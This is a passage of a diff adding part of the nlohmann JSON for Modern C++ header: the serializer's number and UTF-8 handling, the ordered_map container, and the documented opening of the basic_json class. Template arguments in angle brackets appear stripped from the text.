LCOV_EXCL_LINE + } + } + } + + private: + /*! + @brief count digits + + Count the number of decimal (base 10) digits for an input unsigned integer. + + @param[in] x unsigned integer number to count its digits + @return number of decimal digits + */ + inline unsigned int count_digits(number_unsigned_t x) noexcept + { + unsigned int n_digits = 1; + for (;;) + { + if (x < 10) + { + return n_digits; + } + if (x < 100) + { + return n_digits + 1; + } + if (x < 1000) + { + return n_digits + 2; + } + if (x < 10000) + { + return n_digits + 3; + } + x = x / 10000u; + n_digits += 4; + } + } + + /*! + @brief dump an integer + + Dump a given integer to output stream @a o. Works internally with + @a number_buffer. + + @param[in] x integer number (signed or unsigned) to dump + @tparam NumberType either @a number_integer_t or @a number_unsigned_t + */ + template < typename NumberType, detail::enable_if_t < + std::is_same::value || + std::is_same::value || + std::is_same::value, + int > = 0 > + void dump_integer(NumberType x) + { + static constexpr std::array, 100> digits_to_99 + { + { + {{'0', '0'}}, {{'0', '1'}}, {{'0', '2'}}, {{'0', '3'}}, {{'0', '4'}}, {{'0', '5'}}, {{'0', '6'}}, {{'0', '7'}}, {{'0', '8'}}, {{'0', '9'}}, + {{'1', '0'}}, {{'1', '1'}}, {{'1', '2'}}, {{'1', '3'}}, {{'1', '4'}}, {{'1', '5'}}, {{'1', '6'}}, {{'1', '7'}}, {{'1', '8'}}, {{'1', '9'}}, + {{'2', '0'}}, {{'2', '1'}}, {{'2', '2'}}, {{'2', '3'}}, {{'2', '4'}}, {{'2', '5'}}, {{'2', '6'}}, {{'2', '7'}}, {{'2', '8'}}, {{'2', '9'}}, + {{'3', '0'}}, {{'3', '1'}}, {{'3', '2'}}, {{'3', '3'}}, {{'3', '4'}}, {{'3', '5'}}, {{'3', '6'}}, {{'3', '7'}}, {{'3', '8'}}, {{'3', '9'}}, + {{'4', '0'}}, {{'4', '1'}}, {{'4', '2'}}, {{'4', '3'}}, {{'4', '4'}}, {{'4', '5'}}, {{'4', '6'}}, {{'4', '7'}}, {{'4', '8'}}, {{'4', '9'}}, + {{'5', '0'}}, {{'5', '1'}}, {{'5', '2'}}, {{'5', '3'}}, {{'5', '4'}}, {{'5', '5'}}, {{'5', '6'}}, {{'5', '7'}}, {{'5', '8'}}, {{'5', '9'}}, + {{'6', '0'}}, {{'6', '1'}}, {{'6', '2'}}, {{'6', '3'}}, {{'6', '4'}}, {{'6', '5'}}, {{'6', '6'}}, {{'6', '7'}}, {{'6', '8'}}, {{'6', '9'}}, + {{'7', '0'}}, {{'7', '1'}}, {{'7', '2'}}, {{'7', '3'}}, {{'7', '4'}}, {{'7', '5'}}, {{'7', '6'}}, {{'7', '7'}}, {{'7', '8'}}, {{'7', '9'}}, + {{'8', '0'}}, {{'8', '1'}}, {{'8', '2'}}, {{'8', '3'}}, {{'8', '4'}}, {{'8', '5'}}, {{'8', '6'}}, {{'8', '7'}}, {{'8', '8'}}, {{'8', '9'}}, + {{'9', '0'}}, {{'9', '1'}}, {{'9', '2'}}, {{'9', '3'}}, {{'9', '4'}}, {{'9', '5'}}, {{'9', '6'}}, {{'9', '7'}}, {{'9', '8'}}, {{'9', '9'}}, + } + }; + + // special case for "0" + if (x == 0) + { + o->write_character('0'); + return; + } + + // use a pointer to fill the buffer + auto buffer_ptr = number_buffer.begin(); + + const bool is_negative = std::is_same::value && !(x >= 0); // see issue #755 + number_unsigned_t abs_value; + + unsigned int n_chars; + + if (is_negative) + { + *buffer_ptr = '-'; + abs_value = remove_sign(static_cast(x)); + + // account one more byte for the minus sign + n_chars = 1 + count_digits(abs_value); + } + else + { + abs_value = static_cast(x); + n_chars = count_digits(abs_value); + } + + // spare 1 byte for '\0' + JSON_ASSERT(n_chars < number_buffer.size() - 1); + + // jump to the end to generate the string from backward + // so we later avoid reversing the result + buffer_ptr += n_chars; + + // Fast int2ascii implementation inspired by "Fastware" talk by Andrei Alexandrescu + // See: https://www.youtube.com/watch?v=o4-CwDo2zpg + while (abs_value >= 100) + { + const auto digits_index = static_cast((abs_value % 100)); + abs_value /= 100; + *(--buffer_ptr) = digits_to_99[digits_index][1]; + *(--buffer_ptr) = digits_to_99[digits_index][0]; + } + + if (abs_value >= 10) + { + const auto digits_index = static_cast(abs_value); + *(--buffer_ptr) = digits_to_99[digits_index][1]; + *(--buffer_ptr) = digits_to_99[digits_index][0]; + } + else + { + *(--buffer_ptr) = static_cast('0' + abs_value); + } + + o->write_characters(number_buffer.data(), n_chars); + } + + /*! + @brief dump a floating-point number + + Dump a given floating-point number to output stream @a o. Works internally + with @a number_buffer. + + @param[in] x floating-point number to dump + */ + void dump_float(number_float_t x) + { + // NaN / inf + if (!std::isfinite(x)) + { + o->write_characters("null", 4); + return; + } + + // If number_float_t is an IEEE-754 single or double precision number, + // use the Grisu2 algorithm to produce short numbers which are + // guaranteed to round-trip, using strtof and strtod, resp. + // + // NB: The test below works if == . + static constexpr bool is_ieee_single_or_double + = (std::numeric_limits::is_iec559 && std::numeric_limits::digits == 24 && std::numeric_limits::max_exponent == 128) || + (std::numeric_limits::is_iec559 && std::numeric_limits::digits == 53 && std::numeric_limits::max_exponent == 1024); + + dump_float(x, std::integral_constant()); + } + + void dump_float(number_float_t x, std::true_type /*is_ieee_single_or_double*/) + { + char* begin = number_buffer.data(); + char* end = ::nlohmann::detail::to_chars(begin, begin + number_buffer.size(), x); + + o->write_characters(begin, static_cast(end - begin)); + } + + void dump_float(number_float_t x, std::false_type /*is_ieee_single_or_double*/) + { + // get number of digits for a float -> text -> float round-trip + static constexpr auto d = std::numeric_limits::max_digits10; + + // the actual conversion + std::ptrdiff_t len = (std::snprintf)(number_buffer.data(), number_buffer.size(), "%.*g", d, x); + + // negative value indicates an error + JSON_ASSERT(len > 0); + // check if buffer was large enough + JSON_ASSERT(static_cast(len) < number_buffer.size()); + + // erase thousands separator + if (thousands_sep != '\0') + { + const auto end = std::remove(number_buffer.begin(), + number_buffer.begin() + len, thousands_sep); + std::fill(end, number_buffer.end(), '\0'); + JSON_ASSERT((end - number_buffer.begin()) <= len); + len = (end - number_buffer.begin()); + } + + // convert decimal point to '.' + if (decimal_point != '\0' && decimal_point != '.') + { + const auto dec_pos = std::find(number_buffer.begin(), number_buffer.end(), decimal_point); + if (dec_pos != number_buffer.end()) + { + *dec_pos = '.'; + } + } + + o->write_characters(number_buffer.data(), static_cast(len)); + + // determine if need to append ".0" + const bool value_is_int_like = + std::none_of(number_buffer.begin(), number_buffer.begin() + len + 1, + [](char c) + { + return c == '.' || c == 'e'; + }); + + if (value_is_int_like) + { + o->write_characters(".0", 2); + } + } + + /*! + @brief check whether a string is UTF-8 encoded + + The function checks each byte of a string whether it is UTF-8 encoded. The + result of the check is stored in the @a state parameter. The function must + be called initially with state 0 (accept). State 1 means the string must + be rejected, because the current byte is not allowed. If the string is + completely processed, but the state is non-zero, the string ended + prematurely; that is, the last byte indicated more bytes should have + followed. + + @param[in,out] state the state of the decoding + @param[in,out] codep codepoint (valid only if resulting state is UTF8_ACCEPT) + @param[in] byte next byte to decode + @return new state + + @note The function has been edited: a std::array is used. + + @copyright Copyright (c) 2008-2009 Bjoern Hoehrmann + @sa http://bjoern.hoehrmann.de/utf-8/decoder/dfa/ + */ + static std::uint8_t decode(std::uint8_t& state, std::uint32_t& codep, const std::uint8_t byte) noexcept + { + static const std::array utf8d = + { + { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 00..1F + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 20..3F + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 40..5F + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 60..7F + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, // 80..9F + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, // A0..BF + 8, 8, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // C0..DF + 0xA, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x4, 0x3, 0x3, // E0..EF + 0xB, 0x6, 0x6, 0x6, 0x5, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, // F0..FF + 0x0, 0x1, 0x2, 0x3, 0x5, 0x8, 0x7, 0x1, 0x1, 0x1, 0x4, 0x6, 0x1, 0x1, 0x1, 0x1, // s0..s0 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, // s1..s2 + 1, 2, 1, 1, 1, 1, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, // s3..s4 + 1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1, 3, 1, 1, 1, 1, 1, 1, // s5..s6 + 1, 3, 1, 1, 1, 1, 1, 3, 1, 3, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 // s7..s8 + } + }; + + const std::uint8_t type = utf8d[byte]; + + codep = (state != UTF8_ACCEPT) + ? (byte & 0x3fu) | (codep << 6u) + : (0xFFu >> type) & (byte); + + std::size_t index = 256u + static_cast(state) * 16u + static_cast(type); + JSON_ASSERT(index < 400); + state = utf8d[index]; + return state; + } + + /* + * Overload to make the compiler happy while it is instantiating + * dump_integer for number_unsigned_t. + * Must never be called. + */ + number_unsigned_t remove_sign(number_unsigned_t x) + { + JSON_ASSERT(false); // LCOV_EXCL_LINE + return x; // LCOV_EXCL_LINE + } + + /* + * Helper function for dump_integer + * + * This function takes a negative signed integer and returns its absolute + * value as unsigned integer. The plus/minus shuffling is necessary as we can + * not directly remove the sign of an arbitrary signed integer as the + * absolute values of INT_MIN and INT_MAX are usually not the same. See + * #1708 for details. + */ + inline number_unsigned_t remove_sign(number_integer_t x) noexcept + { + JSON_ASSERT(x < 0 && x < (std::numeric_limits::max)()); + return static_cast(-(x + 1)) + 1; + } + + private: + /// the output of the serializer + output_adapter_t o = nullptr; + + /// a (hopefully) large enough character buffer + std::array number_buffer{{}}; + + /// the locale + const std::lconv* loc = nullptr; + /// the locale's thousand separator character + const char thousands_sep = '\0'; + /// the locale's decimal point character + const char decimal_point = '\0'; + + /// string buffer + std::array string_buffer{{}}; + + /// the indentation character + const char indent_char; + /// the indentation string + string_t indent_string; + + /// error_handler how to react on decoding errors + const error_handler_t error_handler; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + +// #include + + +#include // less +#include // allocator +#include // pair +#include // vector + +// #include + + +namespace nlohmann +{ + +/// ordered_map: a minimal map-like container that preserves insertion order +/// for use within nlohmann::basic_json +template , + class Allocator = std::allocator>> + struct ordered_map : std::vector, Allocator> +{ + using key_type = Key; + using mapped_type = T; + using Container = std::vector, Allocator>; + using typename Container::iterator; + using typename Container::const_iterator; + using typename Container::size_type; + using typename Container::value_type; + + // Explicit constructors instead of `using Container::Container` + // otherwise older compilers choke on it (GCC <= 5.5, xcode <= 9.4) + ordered_map(const Allocator& alloc = Allocator()) : Container{alloc} {} + template + ordered_map(It first, It last, const Allocator& alloc = Allocator()) + : Container{first, last, alloc} {} + ordered_map(std::initializer_list init, const Allocator& alloc = Allocator() ) + : Container{init, alloc} {} + + std::pair emplace(const key_type& key, T&& t) + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + return {it, false}; + } + } + Container::emplace_back(key, t); + return {--this->end(), true}; + } + + T& operator[](const Key& key) + { + return emplace(key, T{}).first->second; + } + + const T& operator[](const Key& key) const + { + return at(key); + } + + T& at(const Key& key) + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + return it->second; + } + } + + JSON_THROW(std::out_of_range("key not found")); + } + + const T& at(const Key& key) const + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + return it->second; + } + } + + JSON_THROW(std::out_of_range("key not found")); + } + + size_type erase(const Key& key) + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + // Since we cannot move const Keys, re-construct them in place + for (auto next = it; ++next != this->end(); ++it) + { + it->~value_type(); // Destroy but keep allocation + new (&*it) value_type{std::move(*next)}; + } + Container::pop_back(); + return 1; + } + } + return 0; + } + + iterator erase(iterator pos) + { + auto it = pos; + + // Since we cannot move const Keys, re-construct them in place + for (auto next = it; ++next != this->end(); ++it) + { + it->~value_type(); // Destroy but keep allocation + new (&*it) value_type{std::move(*next)}; + } + Container::pop_back(); + return pos; + } + + size_type count(const Key& key) const + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + return 1; + } + } + return 0; + } + + iterator find(const Key& key) + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + return it; + } + } + return Container::end(); + } + + const_iterator find(const Key& key) const + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == key) + { + return it; + } + } + return Container::end(); + } + + std::pair insert( value_type&& value ) + { + return emplace(value.first, std::move(value.second)); + } + + std::pair insert( const value_type& value ) + { + for (auto it = this->begin(); it != this->end(); ++it) + { + if (it->first == value.first) + { + return {it, false}; + } + } + Container::push_back(value); + return {--this->end(), true}; + } +}; + +} // namespace nlohmann + + +/*! +@brief namespace for Niels Lohmann +@see https://github.com/nlohmann +@since version 1.0.0 +*/ +namespace nlohmann +{ + +/*! +@brief a class to store JSON values + +@tparam ObjectType type for JSON objects (`std::map` by default; will be used +in @ref object_t) +@tparam ArrayType type for JSON arrays (`std::vector` by default; will be used +in @ref array_t) +@tparam StringType type for JSON strings and object keys (`std::string` by +default; will be used in @ref string_t) +@tparam BooleanType type for JSON booleans (`bool` by default; will be used +in @ref boolean_t) +@tparam NumberIntegerType type for JSON integer numbers (`int64_t` by +default; will be used in @ref number_integer_t) +@tparam NumberUnsignedType type for JSON unsigned integer numbers (@c +`uint64_t` by default; will be used in @ref number_unsigned_t) +@tparam NumberFloatType type for JSON floating-point numbers (`double` by +default; will be used in @ref number_float_t) +@tparam BinaryType type for packed binary data for compatibility with binary +serialization formats (`std::vector` by default; will be used in +@ref binary_t) +@tparam AllocatorType type of the allocator to use (`std::allocator` by +default) +@tparam JSONSerializer the serializer to resolve internal calls to `to_json()` +and `from_json()` (@ref adl_serializer by default) + +@requirement The class satisfies the following concept requirements: +- Basic + - [DefaultConstructible](https://en.cppreference.com/w/cpp/named_req/DefaultConstructible): + JSON values can be default constructed. The result will be a JSON null + value. + - [MoveConstructible](https://en.cppreference.com/w/cpp/named_req/MoveConstructible): + A JSON value can be constructed from an rvalue argument. + - [CopyConstructible](https://en.cppreference.com/w/cpp/named_req/CopyConstructible): + A JSON value can be copy-constructed from an lvalue expression. + - [MoveAssignable](https://en.cppreference.com/w/cpp/named_req/MoveAssignable): + A JSON value van be assigned from an rvalue argument. + - [CopyAssignable](https://en.cppreference.com/w/cpp/named_req/CopyAssignable): + A JSON value can be copy-assigned from an lvalue expression. + - [Destructible](https://en.cppreference.com/w/cpp/named_req/Destructible): + JSON values can be destructed. +- Layout + - [StandardLayoutType](https://en.cppreference.com/w/cpp/named_req/StandardLayoutType): + JSON values have + [standard layout](https://en.cppreference.com/w/cpp/language/data_members#Standard_layout): + All non-static data members are private and standard layout types, the + class has no virtual functions or (virtual) base classes. +- Library-wide + - [EqualityComparable](https://en.cppreference.com/w/cpp/named_req/EqualityComparable): + JSON values can be compared with `==`, see @ref + operator==(const_reference,const_reference). + - [LessThanComparable](https://en.cppreference.com/w/cpp/named_req/LessThanComparable): + JSON values can be compared with `<`, see @ref + operator<(const_reference,const_reference). + - [Swappable](https://en.cppreference.com/w/cpp/named_req/Swappable): + Any JSON lvalue or rvalue of can be swapped with any lvalue or rvalue of + other compatible types, using unqualified function call @ref swap(). + - [NullablePointer](https://en.cppreference.com/w/cpp/named_req/NullablePointer): + JSON values can be compared against `std::nullptr_t` objects which are used + to model the `null` value. +- Container + - [Container](https://en.cppreference.com/w/cpp/named_req/Container): + JSON values can be used like STL containers and provide iterator access. + - [ReversibleContainer](https://en.cppreference.com/w/cpp/named_req/ReversibleContainer); + JSON values can be used like STL containers and provide reverse iterator + access. + +@invariant The member variables @a m_value and @a m_type have the following +relationship: +- If `m_type == value_t::object`, then `m_value.object != nullptr`. +- If `m_type == value_t::array`, then `m_value.array != nullptr`. +- If `m_type == value_t::string`, then `m_value.string != nullptr`. +The invariants are checked by member function assert_invariant(). + +@internal +@note ObjectType trick from https://stackoverflow.com/a/9860911 +@endinternal + +@see [RFC 7159: The JavaScript Object Notation (JSON) Data Interchange +Format](http://rfc7159.net/rfc7159) + +@since version 1.0.0 + +@nosubgrouping +*/ +NLOHMANN_BASIC_JSON_TPL_DECLARATION +class basic_json +{ + private: + template friend struct detail::external_constructor; + friend ::nlohmann::json_pointer; + + template + friend class ::nlohmann::detail::parser; + friend ::nlohmann::detail::serializer; + template + friend class ::nlohmann::detail::iter_impl; + template + friend class ::nlohmann::detail::binary_writer; + template + friend class ::nlohmann::detail::binary_reader; + template + friend class ::nlohmann::detail::json_sax_dom_parser; + template + friend class ::nlohmann::detail::json_sax_dom_callback_parser; + + /// workaround type for MSVC + using basic_json_t = NLOHMANN_BASIC_JSON_TPL; + + JSON_PRIVATE_UNLESS_TESTED: + // convenience aliases for types residing in namespace detail; + using lexer = ::nlohmann::detail::lexer_base; + + template + static ::nlohmann::detail::parser parser( + InputAdapterType adapter, + detail::parser_callback_tcb = nullptr, + const bool allow_exceptions = true, + const bool ignore_comments = false + ) + { + return ::nlohmann::detail::parser(std::move(adapter), + std::move(cb), allow_exceptions, ignore_comments); + } + + private: + using primitive_iterator_t = ::nlohmann::detail::primitive_iterator_t; + template + using internal_iterator = ::nlohmann::detail::internal_iterator; + template + using iter_impl = ::nlohmann::detail::iter_impl; + template + using iteration_proxy = ::nlohmann::detail::iteration_proxy; + template using json_reverse_iterator = ::nlohmann::detail::json_reverse_iterator; + + template + using output_adapter_t = ::nlohmann::detail::output_adapter_t; + + template + using binary_reader = ::nlohmann::detail::binary_reader; + template using binary_writer = ::nlohmann::detail::binary_writer; + + JSON_PRIVATE_UNLESS_TESTED: + using serializer = ::nlohmann::detail::serializer; + + public: + using value_t = detail::value_t; + /// JSON Pointer, see @ref nlohmann::json_pointer + using json_pointer = ::nlohmann::json_pointer; + template + using json_serializer = JSONSerializer; + /// how to treat decoding errors + using error_handler_t = detail::error_handler_t; + /// how to treat CBOR tags + using cbor_tag_handler_t = detail::cbor_tag_handler_t; + /// helper type for initializer lists of basic_json values + using initializer_list_t = std::initializer_list>; + + using input_format_t = detail::input_format_t; + /// SAX interface type, see @ref nlohmann::json_sax + using json_sax_t = json_sax; + + //////////////// + // exceptions // + //////////////// + + /// @name exceptions + /// Classes to implement user-defined exceptions. + /// @{ + + /// @copydoc detail::exception + using exception = detail::exception; + /// @copydoc detail::parse_error + using parse_error = detail::parse_error; + /// @copydoc detail::invalid_iterator + using invalid_iterator = detail::invalid_iterator; + /// @copydoc detail::type_error + using type_error = detail::type_error; + /// @copydoc detail::out_of_range + using out_of_range = detail::out_of_range; + /// @copydoc detail::other_error + using other_error = detail::other_error; + + /// @} + + + ///////////////////// + // container types // + ///////////////////// + + /// @name container types + /// The canonic container types to use @ref basic_json like any other STL + /// container. + /// @{ + + /// the type of elements in a basic_json container + using value_type = basic_json; + + /// the type of an element reference + using reference = value_type&; + /// the type of an element const reference + using const_reference = const value_type&; + + /// a type to represent differences between iterators + using difference_type = std::ptrdiff_t; + /// a type to represent container sizes + using size_type = std::size_t; + + /// the allocator type + using allocator_type = AllocatorType; + + /// the type of an element pointer + using pointer = typename std::allocator_traits::pointer; + /// the type of an element const pointer + using const_pointer = typename std::allocator_traits::const_pointer; + + /// an iterator for a basic_json container + using iterator = iter_impl; + /// a const iterator for a basic_json container + using const_iterator = iter_impl; + /// a reverse iterator for a basic_json container + using reverse_iterator = json_reverse_iterator; + /// a const reverse iterator for a basic_json container + using const_reverse_iterator = json_reverse_iterator; + + /// @} + + + /*! + @brief returns the allocator associated with the container + */ + static allocator_type get_allocator() + { + return allocator_type(); + } + + /*! + @brief returns version information on the library + + This function returns a JSON object with information about the library, + including the version number and information on the platform and compiler. + + @return JSON object holding version information + key | description + ----------- | --------------- + `compiler` | Information on the used compiler. It is an object with the following keys: `c++` (the used C++ standard), `family` (the compiler family; possible values are `clang`, `icc`, `gcc`, `ilecpp`, `msvc`, `pgcpp`, `sunpro`, and `unknown`), and `version` (the compiler version). + `copyright` | The copyright line for the library as string. + `name` | The name of the library as string. + `platform` | The used platform as string. Possible values are `win32`, `linux`, `apple`, `unix`, and `unknown`. + `url` | The URL of the project as string. + `version` | The version of the library. It is an object with the following keys: `major`, `minor`, and `patch` as defined by [Semantic Versioning](http://semver.org), and `string` (the version string). + + @liveexample{The following code shows an example output of the `meta()` + function.,meta} + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @complexity Constant. + + @since 2.1.0 + */ + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json meta() + { + basic_json result; + + result["copyright"] = "(C) 2013-2020 Niels Lohmann"; + result["name"] = "JSON for Modern C++"; + result["url"] = "https://github.com/nlohmann/json"; + result["version"]["string"] = + std::to_string(NLOHMANN_JSON_VERSION_MAJOR) + "." + + std::to_string(NLOHMANN_JSON_VERSION_MINOR) + "." + + std::to_string(NLOHMANN_JSON_VERSION_PATCH); + result["version"]["major"] = NLOHMANN_JSON_VERSION_MAJOR; + result["version"]["minor"] = NLOHMANN_JSON_VERSION_MINOR; + result["version"]["patch"] = NLOHMANN_JSON_VERSION_PATCH; + +#ifdef _WIN32 + result["platform"] = "win32"; +#elif defined __linux__ + result["platform"] = "linux"; +#elif defined __APPLE__ + result["platform"] = "apple"; +#elif defined __unix__ + result["platform"] = "unix"; +#else + result["platform"] = "unknown"; +#endif + +#if defined(__ICC) || defined(__INTEL_COMPILER) + result["compiler"] = {{"family", "icc"}, {"version", __INTEL_COMPILER}}; +#elif defined(__clang__) + result["compiler"] = {{"family", "clang"}, {"version", __clang_version__}}; +#elif defined(__GNUC__) || defined(__GNUG__) + result["compiler"] = {{"family", "gcc"}, {"version", std::to_string(__GNUC__) + "." + std::to_string(__GNUC_MINOR__) + "." + std::to_string(__GNUC_PATCHLEVEL__)}}; +#elif defined(__HP_cc) || defined(__HP_aCC) + result["compiler"] = "hp" +#elif defined(__IBMCPP__) + result["compiler"] = {{"family", "ilecpp"}, {"version", __IBMCPP__}}; +#elif defined(_MSC_VER) + result["compiler"] = {{"family", "msvc"}, {"version", _MSC_VER}}; +#elif defined(__PGI) + result["compiler"] = {{"family", "pgcpp"}, {"version", __PGI}}; +#elif defined(__SUNPRO_CC) + result["compiler"] = {{"family", "sunpro"}, {"version", __SUNPRO_CC}}; +#else + result["compiler"] = {{"family", "unknown"}, {"version", "unknown"}}; +#endif + +#ifdef __cplusplus + result["compiler"]["c++"] = std::to_string(__cplusplus); +#else + result["compiler"]["c++"] = "unknown"; +#endif + return result; + } + + + /////////////////////////// + // JSON value data types // + /////////////////////////// + + /// @name JSON value data types + /// The data types to store a JSON value. These types are derived from + /// the template arguments passed to class @ref basic_json. + /// @{ + +#if defined(JSON_HAS_CPP_14) + // Use transparent comparator if possible, combined with perfect forwarding + // on find() and count() calls prevents unnecessary string construction. + using object_comparator_t = std::less<>; +#else + using object_comparator_t = std::less; +#endif + + /*! + @brief a type for an object + + [RFC 7159](http://rfc7159.net/rfc7159) describes JSON objects as follows: + > An object is an unordered collection of zero or more name/value pairs, + > where a name is a string and a value is a string, number, boolean, null, + > object, or array. + + To store objects in C++, a type is defined by the template parameters + described below. + + @tparam ObjectType the container to store objects (e.g., `std::map` or + `std::unordered_map`) + @tparam StringType the type of the keys or names (e.g., `std::string`). + The comparison function `std::less` is used to order elements + inside the container. + @tparam AllocatorType the allocator to use for objects (e.g., + `std::allocator`) + + #### Default type + + With the default values for @a ObjectType (`std::map`), @a StringType + (`std::string`), and @a AllocatorType (`std::allocator`), the default + value for @a object_t is: + + @code {.cpp} + std::map< + std::string, // key_type + basic_json, // value_type + std::less, // key_compare + std::allocator> // allocator_type + > + @endcode + + #### Behavior + + The choice of @a object_t influences the behavior of the JSON class. With + the default type, objects have the following behavior: + + - When all names are unique, objects will be interoperable in the sense + that all software implementations receiving that object will agree on + the name-value mappings. + - When the names within an object are not unique, it is unspecified which + one of the values for a given key will be chosen. For instance, + `{"key": 2, "key": 1}` could be equal to either `{"key": 1}` or + `{"key": 2}`. + - Internally, name/value pairs are stored in lexicographical order of the + names. Objects will also be serialized (see @ref dump) in this order. + For instance, `{"b": 1, "a": 2}` and `{"a": 2, "b": 1}` will be stored + and serialized as `{"a": 2, "b": 1}`. + - When comparing objects, the order of the name/value pairs is irrelevant. + This makes objects interoperable in the sense that they will not be + affected by these differences. For instance, `{"b": 1, "a": 2}` and + `{"a": 2, "b": 1}` will be treated as equal. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the maximum depth of nesting. + + In this class, the object's limit of nesting is not explicitly constrained. + However, a maximum depth of nesting may be introduced by the compiler or + runtime environment. A theoretical limit can be queried by calling the + @ref max_size function of a JSON object. + + #### Storage + + Objects are stored as pointers in a @ref basic_json type. That is, for any + access to object values, a pointer of type `object_t*` must be + dereferenced. + + @sa @ref array_t -- type for an array value + + @since version 1.0.0 + + @note The order name/value pairs are added to the object is *not* + preserved by the library. Therefore, iterating an object may return + name/value pairs in a different order than they were originally stored. In + fact, keys will be traversed in alphabetical order as `std::map` with + `std::less` is used by default. Please note this behavior conforms to [RFC + 7159](http://rfc7159.net/rfc7159), because any order implements the + specified "unordered" nature of JSON objects. + */ + using object_t = ObjectType>>; + + /*! + @brief a type for an array + + [RFC 7159](http://rfc7159.net/rfc7159) describes JSON arrays as follows: + > An array is an ordered sequence of zero or more values. + + To store objects in C++, a type is defined by the template parameters + explained below. + + @tparam ArrayType container type to store arrays (e.g., `std::vector` or + `std::list`) + @tparam AllocatorType allocator to use for arrays (e.g., `std::allocator`) + + #### Default type + + With the default values for @a ArrayType (`std::vector`) and @a + AllocatorType (`std::allocator`), the default value for @a array_t is: + + @code {.cpp} + std::vector< + basic_json, // value_type + std::allocator // allocator_type + > + @endcode + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the maximum depth of nesting. + + In this class, the array's limit of nesting is not explicitly constrained. + However, a maximum depth of nesting may be introduced by the compiler or + runtime environment. A theoretical limit can be queried by calling the + @ref max_size function of a JSON array. + + #### Storage + + Arrays are stored as pointers in a @ref basic_json type. That is, for any + access to array values, a pointer of type `array_t*` must be dereferenced. + + @sa @ref object_t -- type for an object value + + @since version 1.0.0 + */ + using array_t = ArrayType>; + + /*! + @brief a type for a string + + [RFC 7159](http://rfc7159.net/rfc7159) describes JSON strings as follows: + > A string is a sequence of zero or more Unicode characters. + + To store objects in C++, a type is defined by the template parameter + described below. Unicode values are split by the JSON class into + byte-sized characters during deserialization. + + @tparam StringType the container to store strings (e.g., `std::string`). + Note this container is used for keys/names in objects, see @ref object_t. + + #### Default type + + With the default values for @a StringType (`std::string`), the default + value for @a string_t is: + + @code {.cpp} + std::string + @endcode + + #### Encoding + + Strings are stored in UTF-8 encoding. Therefore, functions like + `std::string::size()` or `std::string::length()` return the number of + bytes in the string rather than the number of characters or glyphs. + + #### String comparison + + [RFC 7159](http://rfc7159.net/rfc7159) states: + > Software implementations are typically required to test names of object + > members for equality. Implementations that transform the textual + > representation into sequences of Unicode code units and then perform the + > comparison numerically, code unit by code unit, are interoperable in the + > sense that implementations will agree in all cases on equality or + > inequality of two strings. For example, implementations that compare + > strings with escaped characters unconverted may incorrectly find that + > `"a\\b"` and `"a\u005Cb"` are not equal. + + This implementation is interoperable as it does compare strings code unit + by code unit. + + #### Storage + + String values are stored as pointers in a @ref basic_json type. That is, + for any access to string values, a pointer of type `string_t*` must be + dereferenced. + + @since version 1.0.0 + */ + using string_t = StringType; + + /*! + @brief a type for a boolean + + [RFC 7159](http://rfc7159.net/rfc7159) implicitly describes a boolean as a + type which differentiates the two literals `true` and `false`. + + To store objects in C++, a type is defined by the template parameter @a + BooleanType which chooses the type to use. + + #### Default type + + With the default values for @a BooleanType (`bool`), the default value for + @a boolean_t is: + + @code {.cpp} + bool + @endcode + + #### Storage + + Boolean values are stored directly inside a @ref basic_json type. + + @since version 1.0.0 + */ + using boolean_t = BooleanType; + + /*! + @brief a type for a number (integer) + + [RFC 7159](http://rfc7159.net/rfc7159) describes numbers as follows: + > The representation of numbers is similar to that used in most + > programming languages. A number is represented in base 10 using decimal + > digits. It contains an integer component that may be prefixed with an + > 